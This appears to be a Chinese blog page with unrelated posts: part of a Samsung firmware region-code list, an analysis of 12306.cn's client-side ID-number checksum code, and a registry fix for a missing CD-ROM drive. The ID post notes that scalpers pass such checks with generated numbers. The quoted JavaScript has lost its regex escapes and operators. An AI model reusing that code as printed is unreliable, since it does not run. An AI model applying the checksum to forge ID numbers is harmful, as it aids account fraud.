MOROCCO MAT = MOROCCO MED = MOROCCO SNI = MOROCCO MWD = MOROCCO Netherlands.(荷兰) BEN = NETHERLANDS MMO = NETHERLANDS ONL = NETHERLANDS QIC = NETHERLANDS TFT = NETHERLANDS TNL = NETHERLANDS VDF = NETHERLANDS VDP = NETHERLANDS XEN = NETHERLANDS KPN = NETHERLANDS New Zealand.(新西兰) VNZ = NEW ZEALAND Nigeria.(尼日利亚) ECT = NIGERIA GCR = NIGERIA MML = NIGERIA Norway.(挪威) TEN = NORWAY Pakistan.(巴基斯坦) WDC = PAKISTAN PAK = PAKISTAN Panama.(巴拿马) BPC = PANAMA PCW = PANAMA PBS = PANAMA Peru.(秘鲁) PEB = PERU PET = PERU SAM = PERU Philippines.(菲律宾) FAM = PHILIPPINES XTC = PHILIPPINES GLB = PHILIPPINES XTE = PHILIPPINES SMA = PHILIPPINES Poland.(波兰) ERA = POLAND IDE = POLAND PLS = POLAND PRT = POLAND XEO = POLAND Portugal.(葡萄牙) OPT = PORTUGAL TMN = PORTUGAL TPH = PORTUGAL XEP = PORTUGAL TCL = PORTUGAL Puerto Rico.(波多黎各) CEN = PUERTO RICO PCI = PUERTO RICO TPR = PUERTO RICO Romania.(罗马尼亚) CNX = ROMANIA HAT = ROMANIA ORO = ROMANIA COA = ROMANIA Russia.(俄罗斯) AZC = RUSSIA BLN = RUSSIA EMT= RUSSIA ERS = RUSSIA GEO = RUSSIA MTV = RUSSIA SER = RUSSIA SNT = RUSSIA Saudi Arabia.(沙特阿拉伯) JED = SAUDI ARABIA Serbia Montenegro.(塞黑) MSR = SERBIA MONTENEG PMN = SERBIA MONTENEG SMO = SERBIA MONTENEG TSR = SERBIA MONTENEG TOP = SERBIA MONTENEG Singapore.(新加坡) BGD = SINGAPORE XSO = SINGAPORE XSP = SINGAPORE STH = SINGAPORE MM1= SINGAPORE Slovenia.(斯洛文尼亚) MOT = SLOVENIA SIM = SLOVENIA Slovakia.(斯洛伐克) GTL = SLOVAKIA IRD = SLOVAKIA TMS = SLOVAKIA ORS = SLOVAKIA South Africa.(南非) XFA = SOUTH AFRICA XFC = SOUTH AFRICA XFM = SOUTH AFRICA XFV = SOUTH ARFICA XFE = SOUTH AFRICA South West Asia.(西南亚) SWA = SOUTH WEST ASIA Spain.(西班牙) AMN = SPAIN EUS = SPAIN FOP = SPAIN XEC = SPAIN ATL = SPAIN Sweden.(瑞典) BAU = SWEDEN BCN = SWEDEN BME = SWEDEN BSG = SWEDEN BTH = SWEDEN COV = SWEDEN HTS = SWEDEN SEN = SWEDEN TET = SWEDEN TLA = SWEDEN XEE = SWEDEN VDS = SWEDEN TNO = SWEDEN Switzerland.(瑞士) AUT = SWITZERLAND ORG = SWITZERLAND MOZ = SWITZERLAND SUN = SWITZERLAND SWC = SWITZERLAND Taiwan.(台湾) TWM = TAIWAN BRI = TAIWAN TCC = TAIWAN TCI = TAIWAN CWT = TAIWAN Temporary.(临时) TEM = TEMPORARY Thailand.(泰国) CAT = THAILAND THE = THAILAND THL = THAILAND THO = THAILAND THS = THAILAND Tanzania.(坦桑尼亚) SOL = Tanzania Tunesia.(突尼斯) ABS = TUNISIA RNG = TUNISIA Turkey.(土耳其) BAS = TURKEY KVK = TURKEY TUR = TURKEY TLP = TURKEY TRC = TURKEY Trinidad and Tobago.(特立尼达和多巴哥) TTT = Trinidad and Tobago Ukraine.(乌克兰) KVR = UKRAINE SEK = UKRAINE UMC = UKRAINE United Arab Emirat.(阿联酋) MID = UNITED ARAB EMIRAT ARB = UNITED ARAB EMIRAT XSG = UNITED ARAB EMIRAT AFR = UNITED ARAB EMIRAT ITO = UNITED ARAB EMIRAT United Kingdom.(英国) BTC = UNITED KINGDOM O2I = UNITED KINGDOM O2U = UNITED KINGDOM ORA = UNITED KINGDOM TMU = UNITED KINGDOM TSC = UNITED KINGDOM VOD = UNITED KINGDOM XEU = UNITED KINGDOM VIR = UNITED KINGDOM H3G = UNITED KINGDOM CPW = UNITED KINGDOM BTU = UNITED KINGDOM USA.(美国) AWS = USA DOB = USA TMB = USA CLW = USA Uzbekistan.(乌兹别克斯坦) UZB = UZBEKISTAN Venezuela.(委内瑞拉) VMT = VENEZUELA Vietnam.(越南) XXV = VIETNAM PHU = VIETNAM XEV = VIETNAM DNA = VIETNAM FPT = VIETNAM SPT = VIETNAM TLC = VIETNAM VTC = VIETNAM VTL = VIETNAM 明天接着写如何用kies获得官方ROM,并保存下来,以便以后用odin刷机。


关于12306如何检测身份证号码正确性的分析

最近有媒体爆出12306可以用假的身份证号码在12306.cn上买票的新闻。所以对12306.cn如何验证身份证号码真伪产生了兴趣。 怎么验证呢,当然离不开chrome大婶和火狐妹子了, 首先修改下个人信息,随便打上一个身份证号码,基本上你打的一定是不对的,所以他会提示你:“请正确输入18位的身份证号!” 我们来找下这个提示从哪里来的呢? 我找啊找,找到了“formCheck.js”,而且没有被压缩,可视性不错,  在这里边,我发现 了这么一段 function validateSecIdCard(value){ var iSum = 0; var sId= value; var aCity = { 11 : “北京”, 12 : “天津”, 13 : “河北”, 14 : “山西”, 15 : “内蒙”, 21 : “辽宁”, 22 : “吉林”, 23 : “黑龙”, 31 : “上海”, 32 : “江苏”, 33 : “浙江”, 34 : “安徽”, 35 : “福建”, 36 : “江西”, 37 : “山东”, 41 : “河南”, 42 : “湖北”, 43 : “湖南”, 44 : “广东”, 45 : “广西”, 46 : “海南”, 50 : “重庆”, 51 : “四川”, 52 : “贵州”, 53 : “云南”, 54 : “西藏”, 61 : “陕西”, 62 : “甘肃”, 63 : “青海”, 64 : “宁夏”, 65 : “新疆”, 71 : “台湾”, 81 : “香港”, 82 : “澳门”, 91 : “国外” }; if (!/^d{17}(d|x)$/i.test(sId)) { return false; } sId = sId.replace(/x$/i, “a”); //非法地区 if (aCity[parseInt(sId.substr(0, 2))] == null) { return false; } var sBirthday = sId.substr(6, 4) + “-” + Number(sId.substr(10, 2)) + “-” + Number(sId.substr(12, 2)); var d = new Date(sBirthday.replace(/-/g, “/”)); //非法生日 if (sBirthday != (d.getFullYear() + “-” + (d.getMonth() + 1) + “-” + d .getDate())) { return false; } for ( var i = 17; i >= 0; i–) { iSum += (Math.pow(2, i) % 11) * parseInt(sId.charAt(17 – i), 11); } if (iSum % 11 != 1) { return false; } return true; } function validateFirIdCard(value){ var iSum = 0; var sId; var aCity = { 11 : “北京”, 12 : “天津”, 13 : “河北”, 14 : “山西”, 15 : “内蒙”, 21 : “辽宁”, 22 : “吉林”, 23 : “黑龙”, 31 : “上海”, 32 : “江苏”, 33 : “浙江”, 34 : “安徽”, 35 : “福建”, 36 : “江西”, 37 : “山东”, 41 : “河南”, 42 : “湖北”, 43 : “湖南”, 44 : “广东”, 45 : “广西”, 46 : “海南”, 50 : “重庆”, 51 : “四川”, 52 : “贵州”, 53 : “云南”, 54 : “西藏”, 61 : “陕西”, 62 : “甘肃”, 63 : “青海”, 64 : “宁夏”, 65 : “新疆”, 71 : “台湾”, 81 : “香港”, 82 : “澳门”, 91 : “国外” }; //如果输入的为15位数字,则先转换为18位身份证号 if (value.length == 15) sId = idCardUpdate(value); else sId = value; if (!/^d{17}(d|x)$/i.test(sId)) { return false; } sId = sId.replace(/x$/i, “a”); //非法地区 if (aCity[parseInt(sId.substr(0, 2))] == null) { return false; } var sBirthday = sId.substr(6, 4) + “-” + Number(sId.substr(10, 2)) + “-” + Number(sId.substr(12, 2)); var d = new Date(sBirthday.replace(/-/g, “/”)); //非法生日 if (sBirthday != (d.getFullYear() + “-” + (d.getMonth() + 1) + “-” + d .getDate())) { return false; } for ( var i = 17; i >= 0; i–) { iSum += (Math.pow(2, i) % 11) * parseInt(sId.charAt(17 – i), 11); } if (iSum % 11 != 1) { return false; } return true; } function idCardUpdate(_str) { var idCard18; var regIDCard15 = /^(d){15}$/; if (regIDCard15.test(_str)) { var nTemp = 0; var ArrInt = new Array(7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2); var ArrCh = new Array(’1’, ’0’, ’X’, ’9’, ’8’, ’7’, ’6’, ’5’, ’4’, ’3’, ’2’); _str = _str.substr(0, 6) + ’1’ + ’9’ + _str.substr(6, _str.length – 6); for ( var i = 0; i < _str.length; i++) { nTemp += parseInt(_str.substr(i, 1)) * ArrInt[i]; } _str += ArrCh[nTemp % 11]; idCard18 = _str; } else { idCard18 = “#”; } return idCard18; } 不知道有没有注意前两段是检查了相应的城市、生日等信息。那么最后一段是干什么的呢? 这我们需要从身份证号的构成来分析了。 <中华人民共和国国家标准GB 11643-1999《公民身份号码》中规定:公民身份号码是特征组合码,由十七位数字本体码和一位校验码组成。 18位数字组合的方式是: 1 1 0 1 0 2 Y Y Y Y M M D D 8 8 8 X 地址码 出生日期码 顺序码 校验码 地址码指的是公民常住户口所在县(市、旗、区)的行政区划代码,如120224是天津市宝坻区。 出生日期码表示公民出生的公历年(4位)、月(2位)、日(2位)。 顺序码是给同地址码同出生日期码的人编定的顺序号,其中奇数分配给男性,偶数分配给女性。 最后一位是校验码,这里采用的是ISO 7064:1983,MOD 11-2校验码系统。校验码为一位数,但如果最后采用校验码系统计算的校验码是“10”,碍于身份证号码为18位的规定,则以“X”代替校验码“10”。     这样,就出现了黄牛使用网上的一些身份证号码生成器就能生成符合条件的身份证号码从而注册大量的号码来刷票。 面对这种情况,通过本地的相关算法来判断身份证号码是否合法似乎已经无法解决。但是如果使用公安部提供的身份证信息查询的服务似乎也是不太靠谱,毕竟能github都能被拖垮,公安部的那家事业单位的服务器很难顶的住啊……万一出问题,问题就可就大了。


设备管理器中CD-ROM前有感叹号的解决方法

今天,同学的电脑出现了问题,光驱死活不出现,远程协助了下,发现设备管理器里显示 右键,更新驱动设备软件显示 删掉,扫描检测硬件改动,试下,不好用,只不过是从CD-ROM drive变成了 更新驱动,还是显示已经是最近。没办法,只能祭出大招了。win+R调出运行框, regedit打开注册表,修改注册表 一通折腾找到了 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass{4D36E965-E325-11CE-BFC1-08002BE10318},但是我想说的是 {4D36E965-E325-11CE-BFC1-08002BE10318}貌似有很多个,可以挨个点击下 会在右边出现这个,找到class里的值是CD-ROM的那一个,把最后一项UpperFilters删掉,删掉之前要记住这个的项的值啊 ,当然,删掉的时候会出现 这个提示,不要怕,直接选“是” 然后,在回设备管理器中卸载掉 检测硬件改动下,同学的电脑就能识别DVD-ROM了 不过,如果不能识别也没事,重启下,还不行的话,而且设备管理器里变成:代码 10:该设备无法启动。 那么,可以再新建个UpperFilters值,并且把之前记住的这个值填进去,卸载设备,重新启动。一般就好了   这到底是为什么? 其实这个问题应该是UpperFilters的问题,这个内容来自dxdiag程序,输入标签下的“与输入相关的设备”里的PS/2设备,高层筛选程序。注册表里UpperFilters这个值和这个高层筛选程序一样。 PS:虽然设备管理器有问题,但是dxdiag程序没有发现错误,很奇怪。   Dxdiag是Windows的DirectX诊断工具。